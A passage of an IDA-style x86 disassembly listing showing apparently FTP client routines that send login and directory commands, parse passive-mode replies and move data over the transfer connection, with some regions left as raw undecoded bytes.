[eax+eax*4] lea edx, [eax+eax*4] mov eax, ecx shl edx, 3 mov [edi+2Ch], edx pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42D04C: ; CODE XREF: ___:0042CFD0j ; DATA XREF: ___:off_42D074o mov eax, [esp+0Ch] ; jumptable 0042CFD0 case 3 mov edx, [esp+8] mov ecx, 1 mov [eax+34h], edx mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42D05F: ; CODE XREF: ___:0042CFD0j ; DATA XREF: ___:off_42D074o mov eax, [esp+0Ch] ; jumptable 0042CFD0 case 4 mov edx, [esp+8] mov ecx, 1 mov [eax+3Ch], edx loc_42D06F: ; CODE XREF: ___:0042CFCAj ; ___:0042CFE3j mov eax, ecx ; default retn ; --------------------------------------------------------------------------- align 4 off_42D074 dd offset loc_42CFD7 ; DATA XREF: ___:0042CFD0r dd offset loc_42CFF8 ; jump table for switch statement dd offset loc_42D00B dd offset loc_42D04C dd offset loc_42D05F db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42D0D0 proc near ; CODE XREF: sub_402243j var_40 = byte ptr -40h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] sub esp, 40h or ecx, 0FFFFFFFFh xor eax, eax push ebx push esi push edi mov edi, edx repne scasb not ecx add ecx, 6 cmp ecx, 40h ja short loc_42D161 mov ebx, [esp+4Ch+arg_4] or ecx, 0FFFFFFFFh mov edi, ebx repne scasb not ecx add ecx, 6 cmp ecx, 40h ja short loc_42D161 mov edi, dword_50FA60 push edx lea eax, [esp+50h+var_40] push offset aUserS ; "USER %s" push eax call edi mov esi, [esp+58h+arg_8] lea ecx, [esp+58h+var_40] push esi push 33h push ecx call sub_42D1A0 add esp, 18h test eax, eax jnz short loc_42D13D mov cl, [esi+44h] pop edi cmp cl, 32h pop esi setz al pop ebx add esp, 40h retn ; --------------------------------------------------------------------------- loc_42D13D: ; CODE XREF: sub_42D0D0+5Bj push ebx lea edx, [esp+50h+var_40] push offset aPassS ; "PASS %s" push edx call edi push esi lea eax, [esp+5Ch+var_40] push 32h push eax call sub_42D1A0 add esp, 18h pop edi pop esi pop ebx add esp, 40h retn ; --------------------------------------------------------------------------- loc_42D161: ; CODE XREF: sub_42D0D0+1Bj ; sub_42D0D0+30j pop edi pop esi xor eax, eax pop ebx add esp, 40h retn sub_42D0D0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42D1A0 proc near ; CODE XREF: sub_42D0D0+51p ; sub_42D0D0+82p ... var_100 = byte ptr -100h arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch sub esp, 100h push ebx mov ebx, [esp+104h+arg_8] push esi push edi mov eax, [ebx+18h] test eax, eax jz short loc_42D1C3 pop edi pop esi xor eax, eax pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42D1C3: ; CODE XREF: sub_42D1A0+15j mov eax, dword_50E3CC mov esi, [esp+10Ch+arg_0] cmp eax, 2 jle short loc_42D1EC mov eax, dword_50FA84 push esi add eax, 40h push offset aS_0 ; "%s\n" push eax nop call near ptr 77C40E13h add esp, 0Ch loc_42D1EC: ; CODE XREF: sub_42D1A0+32j mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 2 cmp ecx, 100h jbe short loc_42D20C pop edi pop esi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42D20C: ; CODE XREF: sub_42D1A0+60j push esi lea ecx, [esp+110h+var_100] push offset dword_443CD4 push ecx call near ptr 77C3F931h nop lea edi, [esp+118h+var_100] or ecx, 0FFFFFFFFh xor eax, eax add esp, 0Ch repne scasb mov eax, [ebx+8] push 0 not ecx dec ecx lea edx, [esp+110h+var_100] push ecx push edx push eax call sub_436F00 sub_42D1A0 endp ; --------------------------------------------------------------------------- db 85h ; --------------------------------------------------------------------------- sar byte ptr [edi+1Ah], 68h lodsb push esp inc esp add al, ch movsd wait xor byte ptr [edi-70h], 83h les eax, [ebx+esi] rcr byte ptr [edi+5Eh], 5Bh add esp, 100h retn ; --------------------------------------------------------------------------- mov ecx, [esp+114h] push ebx push ecx call sub_42CB10 add esp, 8 pop edi pop esi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42D2C0 proc near ; CODE XREF: sub_401F55j var_100 = dword ptr -100h var_FC = byte ptr -0FCh arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h sub esp, 100h push ebx push ebp push esi mov esi, [esp+10Ch+arg_0] push edi mov edi, [esp+110h+arg_4] test esi, esi jnz short loc_42D30C cmp edi, 4 jz short loc_42D2E6 cmp edi, 3 jnz short loc_42D30C loc_42D2E6: ; CODE XREF: sub_42D2C0+1Fj mov eax, [esp+110h+arg_C] push offset aMissingPathArg ; "Missing path argument for file transfer"... add eax, 44h push eax nop call near ptr 77C3F931h add esp, 8 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42D30C: ; CODE XREF: sub_42D2C0+1Aj ; sub_42D2C0+24j mov ecx, [esp+110h+arg_8] mov ebp, dword_50FA60 push ecx lea edx, [esp+114h+var_100] push offset dword_4454F4 push edx call ebp mov ebx, [esp+11Ch+arg_C] lea eax, [esp+11Ch+var_100] push ebx push 32h push eax call sub_42D1A0 add esp, 18h test eax, eax jz loc_42D4CE lea eax, [edi-1] ; switch 4 cases cmp eax, 3 ja loc_42D4BF ; default jmp off_42D4DC[eax*4] ; switch jump loc_42D358: ; DATA XREF: ___:off_42D4DCo mov ecx, dword_4454EC ; jumptable 0042D351 case 1 mov dl, byte_4454F0 mov [esp+110h+var_100], ecx mov [esp+110h+var_FC], dl mov ebp, 1 jmp short loc_42D3C0 ; --------------------------------------------------------------------------- loc_42D373: ; CODE XREF: sub_42D2C0+91j ; DATA XREF: ___:off_42D4DCo mov eax, dword_4454E4 ; jumptable 0042D351 case 2 mov cl, byte_4454E8 mov [esp+110h+var_100], eax mov [esp+110h+var_FC], cl mov ebp, 1 jmp short loc_42D3C0 ; --------------------------------------------------------------------------- loc_42D38D: ; CODE XREF: sub_42D2C0+91j ; DATA XREF: ___:off_42D4DCo mov edx, dword_4454DC ; jumptable 0042D351 case 3 mov al, byte_4454E0 mov [esp+110h+var_100], edx mov [esp+110h+var_FC], al mov ebp, 1 jmp short loc_42D3C0 ; --------------------------------------------------------------------------- loc_42D3A7: ; CODE XREF: sub_42D2C0+91j ; DATA XREF: ___:off_42D4DCo mov ecx, dword_4454D4 ; jumptable 0042D351 case 4 mov dl, byte_4454D8 mov [esp+110h+var_100], ecx mov [esp+110h+var_FC], dl mov ebp, 2 loc_42D3C0: ; CODE XREF: sub_42D2C0+B1j ; sub_42D2C0+CBj ... test esi, esi jz short loc_42D413 lea edi, [esp+110h+var_100] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov edi, esi mov edx, ecx or ecx, 0FFFFFFFFh mov byte ptr [esp+edx+110h+var_100], 20h inc edx repne scasb not ecx dec ecx add ecx, edx cmp ecx, 100h jnb loc_42D4CE mov edi, esi or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx lea edx, [esp+edx+110h+var_100] mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_42D413: ; CODE XREF: sub_42D2C0+102j mov ecx, [esp+110h+arg_8] mov esi, [esp+110h+arg_10] push ebp push ecx push esi push ebx call sub_42D580 add esp, 10h cmp eax, 0FFFFFFFFh jz loc_42D4CE push ebx lea edx, [esp+114h+var_100] push 31h push edx call sub_42D1A0 add esp, 0Ch test eax, eax jnz short loc_42D468 mov eax, [esi] push eax call sub_401BDB add esp, 4 mov dword ptr [esi], 0 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42D468: ; CODE XREF: sub_42D2C0+188j mov ecx, [esi] mov [ecx+1Ch], ebx mov eax, [ebx+24h] mov edx, [esi] cmp eax, 2 mov [ebx+20h], edx jnz short loc_42D4AF mov eax, [esi] push ebx push eax call sub_42DA60 ; --------------------------------------------------------------------------- add esp, 8 test eax, eax jnz short loc_42D4AF mov ecx, [esi] push ecx call sub_401BDB add esp, 4 mov dword ptr [esi], 0 mov dword ptr [ebx+20h], 0 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42D4AF: ; CODE XREF: sub_42D2C0+1B8j ; sub_42D2C0+1C8j pop edi pop esi pop ebp mov eax, 1 pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42D4BF: ; CODE XREF: sub_42D2C0+8Bj push edi ; default add ebx, 44h push offset aInvalidOpenTyp ; "Invalid open type %d\n" push ebx call ebp add esp, 0Ch loc_42D4CE: ; CODE XREF: sub_42D2C0+7Fj ; sub_42D2C0+12Cj ... pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 100h retn sub_42D2C0 endp ; --------------------------------------------------------------------------- align 4 off_42D4DC dd offset loc_42D358 ; DATA XREF: sub_42D2C0+91r dd offset loc_42D373 ; jump table for switch statement dd offset loc_42D38D dd offset loc_42D3A7 db 4 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42D580 proc near ; CODE XREF: sub_42D2C0+165p var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = word ptr -120h var_11E = word ptr -11Eh var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_114 = byte ptr -114h var_110 = byte ptr -110h var_10C = byte ptr -10Ch var_108 = byte ptr -108h var_104 = byte ptr -104h arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h sub esp, 134h push ebx mov ebx, [esp+138h+arg_0] push ebp push esi mov eax, [ebx+18h] xor ebp, ebp mov esi, 1 cmp eax, ebp push edi mov [esp+144h+var_120], bp mov [esp+144h+var_11E], bp mov [esp+144h+var_11C], esi jnz loc_42D8A4 mov eax, [esp+144h+arg_C] cmp eax, esi jz short loc_42D5E2 cmp eax, 2 jz short loc_42D5E2 push eax add ebx, 44h push offset aInvalidDirecti ; "Invalid direction %d\n" push ebx nop call near ptr 77C3F931h add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx add esp, 134h retn ; --------------------------------------------------------------------------- loc_42D5E2: ; CODE XREF: sub_42D580+3Aj ; sub_42D580+3Fj mov eax, [esp+144h+arg_8] cmp eax, 41h jz short loc_42D614 cmp eax, 49h jz short loc_42D614 push eax add ebx, 44h push offset aInvalidModeC ; "Invalid mode %c\n" push ebx call near ptr 77C3F931h nop add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx add esp, 134h retn ; --------------------------------------------------------------------------- loc_42D614: ; CODE XREF: sub_42D580+6Cj ; sub_42D580+71j mov eax, [ebx+24h] mov [esp+144h+var_124], 10h cmp eax, esi jnz loc_42D6F9 xor eax, eax push ebx mov [esp+148h+var_134], eax push 32h mov [esp+14Ch+var_130], eax push offset aPasv ; "PASV" mov [esp+150h+var_12C], eax mov word ptr [esp+150h+var_134], 2 mov [esp+150h+var_128], eax call sub_42D1A0 add esp, 0Ch test eax, eax jz loc_42D8A4 lea ecx, [ebx+44h] push 28h push ecx nop call near ptr 77C47660h add esp, 8 cmp eax, ebp jz loc_42D8A4 lea edx, [esp+144h+var_114] lea ecx, [esp+144h+var_118] push edx push ecx lea edx, [esp+14Ch+var_104] lea ecx, [esp+14Ch+var_108] push edx push ecx lea edx, [esp+154h+var_10C] lea ecx, [esp+154h+var_110] push edx push ecx inc eax push offset aUUUUUU ; "%u,%u,%u,%u,%u,%u" push eax call near ptr 77C41B72h nop mov dl, [esp+164h+var_110] mov al, [esp+164h+var_10C] mov cl, [esp+164h+var_108] mov byte ptr [esp+164h+var_130], dl mov dl, [esp+164h+var_104] mov byte ptr [esp+164h+var_130+1], al mov al, [esp+164h+var_118] mov byte ptr [esp+164h+var_130+2], cl mov cl, [esp+164h+var_114] add esp, 20h mov byte ptr [esp+144h+var_130+3], dl mov byte ptr [esp+144h+var_134+2], al mov byte ptr [esp+144h+var_134+3], cl push 6 push esi push 2 call sub_436F3C ; --------------------------------------------------------------------------- db 8Bh dd 0FFFF83F8h, 40684D75h, 90004454h, 809709E8h, 4C48377h dd 5E5FC70Bh, 0C4815B5Dh, 134h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_42D6F9: ; CODE XREF: sub_42D580+A1j mov ecx, [ebx+8] lea edx, [esp+144h+var_124] lea eax, [esp+144h+var_134] push edx push eax push ecx call sub_436F2A ; --------------------------------------------------------------------------- dd 0BD7DC085h, 44556068h, 0D7E89000h, 83778096h, 0C03304C4h dd 5B5D5E5Fh, 134C481h, 8DC30000h, 6A282454h, 46A5204h dd 0FFFF68h, 45E85700h, 83000098h, 0A75FFF8h, 44543068h dd 147E900h, 448D0000h, 46A2424h, 806850h, 0FF680000h dd 570000FFh, 981FE8h, 0FFF88300h, 30680A75h, 0E9004454h dd 121h, 75247339h, 244C8D20h, 51106A10h, 97BCE857h, 0F8830000h dd 0EC850FFFh, 68000000h, 445230h, 0FCE9h, 24548D00h, 52106A10h dd 6C896657h, 85E81E24h, 83000097h, 775FFF8h, 44555868h dd 5610EB00h, 9760E857h, 0C0850000h, 5068217Dh, 90004455h dd 809625E8h, 4C48377h, 9730E857h, 5E5F0000h, 5BC0335Dh dd 134C481h, 8DC30000h, 8D202444h, 5010244Ch, 37E85751h dd 85000097h, 5F0D7DC0h, 0C0335D5Eh, 34C4815Bh, 0C3000001h dd 1324548Bh, 1224448Bh, 17244C8Bh, 0FFE281h, 0FF250000h dd 52000000h, 1A24548Bh, 0FFE181h, 8B500000h, 511D2444h dd 20244C8Bh, 0FFE281h, 0FF250000h, 52000000h, 0FFE181h dd 51500000h, 5C24548Dh, 44553468h, 0DEE85200h, 90778120h dd 24448D53h, 50326A68h, 0FFF93FE8h, 2CC483FFh, 1375C085h dd 9698E857h, 5E5F0000h, 5BC0335Dh, 134C481h, 68C30000h dd 144h, 3CE89056h, 8B777FE8h, 8C483F0h, 2275F53Bh, 44542868h dd 9558E800h, 83907780h, 0E85704C4h, 9662h ; --------------------------------------------------------------------------- loc_42D8A4: ; CODE XREF: sub_42D580+2Bj ; sub_42D580+D2j ... pop edi pop esi pop ebp or eax, 0FFFFFFFFh pop ebx add esp, 134h retn sub_42D580 endp ; --------------------------------------------------------------------------- dw 0BC83h dd 15024h, 41754100h, 200068h, 0EB41E800h, 8390777Fh, 0C53B04C4h dd 75144689h, 5428682Ch, 0E8900044h, 77809516h, 5704C483h dd 9621E8h, 0E8905600h, 777FE92Fh, 8304C483h, 5E5FFFC8h dd 0C4815B5Dh, 134h, 248C8BC3h, 154h, 89087E89h, 538B184Eh dd 28568928h, 892C438Bh, 4B8B2C46h, 344E8934h, 89284E8Bh dd 6E89386Eh, 3C438B40h, 4689CD3Bh, 390E753Ch, 9752C6Eh dd 575C53Bh, 0EB306E89h, 30538B06h, 8B305689h, 14C2484h dd 895F0000h, 0B85D5E30h, 1, 34C4815Bh, 0C3000001h, 90909090h dd 40h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42DA60 proc near ; CODE XREF: sub_42D2C0+1BEp var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 124h push ebx mov ebx, [esp+128h+arg_0] push ebp push esi mov esi, [esp+130h+arg_4] mov eax, [ebx+8] xor ebp, ebp push edi mov ecx, [esi+8] mov [esp+134h+var_FC], eax cmp ecx, eax mov [esp+134h+var_100], ecx mov [esp+134h+var_104], 2 mov [esp+134h+var_118], ebp mov [esp+134h+var_11C], 1Eh jge short loc_42DAA2 mov ecx, eax loc_42DAA2: ; CODE XREF: sub_42DA60+3Ej lea eax, [esp+134h+var_11C] lea edx, [esp+134h+var_104] push eax push ebp push ebp inc ecx push edx push ecx call sub_436F12 sub_42DA60 endp ; --------------------------------------------------------------------------- db 83h, 0F8h, 0FFh dd 683E75h, 90000001h, 7F17F7E8h, 50008B77h, 972CE890h dd 0C4837780h, 44C68304h, 0E8905650h, 77819FB4h, 83084B8Bh dd 0E8510CC4h, 941Eh, 86B895Fh, 0C0335D5Eh, 24C4815Bh dd 0C3000001h, 2975C53Bh, 0B9447E8Dh, 8, 4455C0BEh, 0A4A5F300h dd 5208538Bh, 93F1E8h, 6B895F00h, 335D5E08h, 0C4815BC0h dd 124h, 84B8BC3h, 3024448Dh, 2DE85150h, 85000094h, 8B7A74C0h dd 548D084Bh, 448D1424h, 50522024h, 2444C751h, 1020h, 93BAE800h dd 0F88B0000h, 7F1763E8h, 108B9077h, 5008438Bh, 14245489h dd 939DE8h, 7EFD3B00h, 87B8913h, 0B85D5E5Fh, 1, 24C4815Bh dd 0C3000001h, 10244C8Bh, 10068h, 0E8905100h, 7780966Ah dd 8304C483h, 565044C6h, 9EF2E890h, 0C4837781h, 86B890Ch dd 5E5FC033h, 0C4815B5Dh, 124h, 8468BC3h, 3024548Dh, 0A1E85052h dd 85000093h, 8B2474C0h, 0E851084Bh, 933Ah, 89326A56h dd 39E8086Bh, 83FFFFEFh, 0C03308C4h, 5B5D5E5Fh, 124C481h dd 8BC30000h, 5F102444h, 815B5D5Eh, 124C4h, 9090C300h dd 2 dup(90909090h), 1Ch dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_42DC70 proc near ; CODE XREF: sub_402248j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi cmp dword ptr [esi+18h], 1 jz short loc_42DC81 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42DC81: ; CODE XREF: sub_42DC70+Aj mov eax, [esi+14h] push esi test eax, eax jz short loc_42DC9D mov eax, [esp+0Ch+arg_4] mov ecx, [esp+0Ch+arg_0] push eax push ecx call sub_42CC50 add esp, 0Ch jmp short loc_42DCC4 ; --------------------------------------------------------------------------- loc_42DC9D: ; CODE XREF: sub_42DC70+17j call sub_42CE80 add esp, 4 cmp eax, 1 jz short loc_42DCAF pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42DCAF: ; CODE XREF: sub_42DC70+38j mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] mov ecx, [esi+8] push 0 push edx push eax push ecx call sub_436EFA ; --------------------------------------------------------------------------- loc_42DCC4: ; CODE XREF: sub_42DC70+2Bj mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_42DCD0 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42DCD0: ; CODE XREF: sub_42DC70+59j mov ecx, [esi+38h] add ecx, edi mov [esi+38h], ecx mov edx, ecx mov ecx, [esi+30h] test ecx, ecx jz short loc_42DD0F mov eax, [esi+3Ch] test eax, eax jz short loc_42DD0F push ebx mov ebx, [esi+40h] add ebx, edi mov [esi+40h], ebx cmp ebx, eax pop ebx jle short loc_42DD0F mov eax, [esi+34h] push eax push edx push esi call ecx add esp, 0Ch test eax, eax jnz short loc_42DD08 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42DD08: ; CODE XREF: sub_42DC70+93j mov dword ptr [esi+40h], 0 loc_42DD0F: ; CODE XREF: sub_42DC70+6Fj ; sub_42DC70+76j ... mov eax, edi pop edi pop esi retn sub_42DC70 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42DD50 proc near ; CODE XREF: sub_4021F3j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi cmp dword ptr [esi+18h], 2 jz short loc_42DD61 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42DD61: ; CODE XREF: sub_42DD50+Aj mov eax, [esi+14h] push esi test eax, eax jz short loc_42DD7D mov eax, [esp+0Ch+arg_4] mov ecx, [esp+0Ch+arg_0] push eax push ecx call sub_42DE20 add esp, 0Ch jmp short loc_42DD9A ; --------------------------------------------------------------------------- loc_42DD7D: ; CODE XREF: sub_42DD50+17j call sub_42CE80 mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] mov ecx, [esi+8] add esp, 4 push 0 push edx push eax push ecx call sub_436F00 ; --------------------------------------------------------------------------- loc_42DD9A: ; CODE XREF: sub_42DD50+2Bj mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_42DDA6 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42DDA6: ; CODE XREF: sub_42DD50+4Fj mov edx, [esi+38h] mov eax, [esi+30h] add edx, edi test eax, eax mov [esi+38h], edx jz short loc_42DDDC mov ecx, [esi+3Ch] test ecx, ecx jz short loc_42DDDC push ebx mov ebx, [esi+40h] add ebx, edi mov [esi+40h], ebx cmp ebx, ecx pop ebx jle short loc_42DDDC mov ecx, [esi+34h] push ecx push edx push esi call eax add esp, 0Ch mov dword ptr [esi+40h], 0 loc_42DDDC: ; CODE XREF: sub_42DD50+63j ; sub_42DD50+6Aj ... mov eax, edi pop edi pop esi retn sub_42DD50 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42DE20 proc near ; CODE XREF: sub_42DD50+23p ; sub_42DFD0+28p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp mov ebp, [esp+8+arg_8] push esi xor esi, esi xor al, al mov ecx, [ebp+18h] push edi cmp ecx, 2 jz short loc_42DE3C pop edi pop esi pop ebp or eax, 0FFFFFFFFh pop ebx retn ; --------------------------------------------------------------------------- loc_42DE3C: ; CODE XREF: sub_42DE20+12j mov ecx, [esp+10h+arg_4] mov edi, [ebp+14h] xor ebx, ebx test ecx, ecx jle loc_42DF64 loc_42DE4D: ; CODE XREF: sub_42DE20+AFj mov ecx, [esp+10h+arg_0] cmp byte ptr [ebx+ecx], 0Ah jnz short loc_42DE8E cmp al, 0Dh jz short loc_42DE8E cmp esi, 2000h jnz short loc_42DE89 push ebp call sub_42CE80 add esp, 4 test eax, eax jz short loc_42DEEA mov edx, [ebp+8] push 0 push esi push edi push edx call sub_436F00 ; --------------------------------------------------------------------------- mov esi, eax cmp esi, 2000h jnz short loc_42DEF1 xor esi, esi loc_42DE89: ; CODE XREF: sub_42DE20+41j mov byte ptr [edi+esi], 0Dh inc esi loc_42DE8E: ; CODE XREF: sub_42DE20+35j ; sub_42DE20+39j cmp esi, 2000h jnz short loc_42DEBC push ebp call sub_42CE80 add esp, 4 test eax, eax jz short loc_42DEEA mov eax, [ebp+8] push 0 push esi push edi push eax call sub_436F00 ; --------------------------------------------------------------------------- mov esi, eax cmp esi, 2000h jnz short loc_42DF11 xor esi, esi loc_42DEBC: ; CODE XREF: sub_42DE20+74j mov ecx, [esp+10h+arg_0] inc esi mov al, [ebx+ecx] mov ecx, [esp+10h+arg_4] mov [edi+esi-1], al inc ebx cmp ebx, ecx jl loc_42DE4D test esi, esi jz loc_42DF64 push ebp call sub_42CE80 add esp, 4 test eax, eax jnz short loc_42DF31 loc_42DEEA: ; CODE XREF: sub_42DE20+4Ej ; sub_42DE20+81j pop edi pop esi mov eax, ebx pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42DEF1: ; CODE XREF: sub_42DE20+65j call near ptr 77C1F2BCh nop mov edx, [eax] push edx push esi push offset aNet_write1Retu ; "net_write(1) returned %d, errno = %d\n" nop call near ptr 77C4186Ah add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42DF11: ; CODE XREF: sub_42DE20+98j nop call near ptr 77C1F2BCh mov eax, [eax] push eax push esi push offset aNet_write2Retu ; "net_write(2) returned %d, errno = %d\n" call near ptr 77C4186Ah nop add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42DF31: ; CODE XREF: sub_42DE20+C8j mov ecx, [ebp+8] push 0 push esi push edi push ecx call sub_436F00 ; --------------------------------------------------------------------------- dw 0F88Bh dd 2074FE3Bh, 1372E890h, 108B777Fh, 0E8685752h, 90004455h dd 813911E8h, 0CC48377h, 5FFFC883h, 0C35B5D5Eh ; --------------------------------------------------------------------------- loc_42DF64: ; CODE XREF: sub_42DE20+27j ; sub_42DE20+B7j mov eax, [esp+10h+arg_4] pop edi pop esi pop ebp pop ebx retn sub_42DE20 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42DFD0 proc near ; CODE XREF: sub_401BDBj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi mov eax, [esi+18h] sub eax, 0 jz short loc_42E04B dec eax jz short loc_42E000 dec eax jz short loc_42DFEC loc_42DFE4: ; CODE XREF: sub_42DFD0+64j pop edi mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- loc_42DFEC: ; CODE XREF: sub_42DFD0+12j mov eax, [esi+14h] test eax, eax jz short loc_42E000 push esi push 0 push 0 call sub_42DE20 add esp, 0Ch loc_42E000: ; CODE XREF: sub_42DFD0+Fj ; sub_42DFD0+21j mov eax, [esi+14h] push ebx mov ebx, dword_50FAC4 test eax, eax jz short loc_42E014 push eax call ebx add esp, 4 loc_42E014: ; CODE XREF: sub_42DFD0+3Cj mov eax, [esi+8] push 2 push eax call sub_436F9C ; --------------------------------------------------------------------------- mov ecx, [esi+8] push ecx call sub_436F06 ; --------------------------------------------------------------------------- mov edi, [esi+1Ch] push esi call ebx add esp, 4 test edi, edi pop ebx jz short loc_42DFE4 push edi push 32h mov dword ptr [edi+20h], 0 call sub_42CB10 add esp, 8 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42E04B: ; CODE XREF: sub_42DFD0+Cj mov eax, [esi+20h] test eax, eax jz short loc_42E062 push esi mov dword ptr [esi+1Ch], 0 call sub_401BDB add esp, 4 loc_42E062: ; CODE XREF: sub_42DFD0+80j mov edx, [esi+8] push edx call sub_436F06 sub_42DFD0 endp ; --------------------------------------------------------------------------- db 56h db 90h db 0E8h, 0A9h, 0E1h dd 0C483777Fh, 5FC03304h, 9090C35Eh, 90909090h, 0Ch dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_42E0B0: ; CODE XREF: ___:00401CE4j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 6 pop edi cmp ecx, 100h jbe short loc_42E0D9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E0D9: ; CODE XREF: ___:0042E0D0j push edx lea eax, [esp+4] push offset aSiteS ; "SITE %s" push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42D1A0 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E130: ; CODE XREF: ___:004016C2j push esi mov esi, [esp+8] push edi mov edi, [esp+14h] push edi push 32h push offset aSyst ; "SYST" call sub_42D1A0 add esp, 0Ch test eax, eax jnz short loc_42E151 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42E151: ; CODE XREF: ___:0042E14Cj mov eax, [esp+10h] lea ecx, [edi+48h] lea edx, [eax-1] test edx, edx jz short loc_42E16C loc_42E15F: ; CODE XREF: ___:0042E16Aj mov al, [ecx] cmp al, 20h jz short loc_42E16C mov [esi], al inc esi inc ecx dec edx jnz short loc_42E15F loc_42E16C: ; CODE XREF: ___:0042E15Dj ; ___:0042E163j mov byte ptr [esi], 0 pop edi mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E1A0: ; CODE XREF: ___:0040224Dj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 5 pop edi cmp ecx, 100h jbe short loc_42E1C9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E1C9: ; CODE XREF: ___:0042E1C0j push edx lea eax, [esp+4] push offset aMkdS ; "MKD %s" push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42D1A0 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E220: ; CODE XREF: ___:0040225Cj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 5 pop edi cmp ecx, 100h jbe short loc_42E249 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E249: ; CODE XREF: ___:0042E240j push edx lea eax, [esp+4] push offset aCwdS ; "CWD %s" push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42D1A0 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; 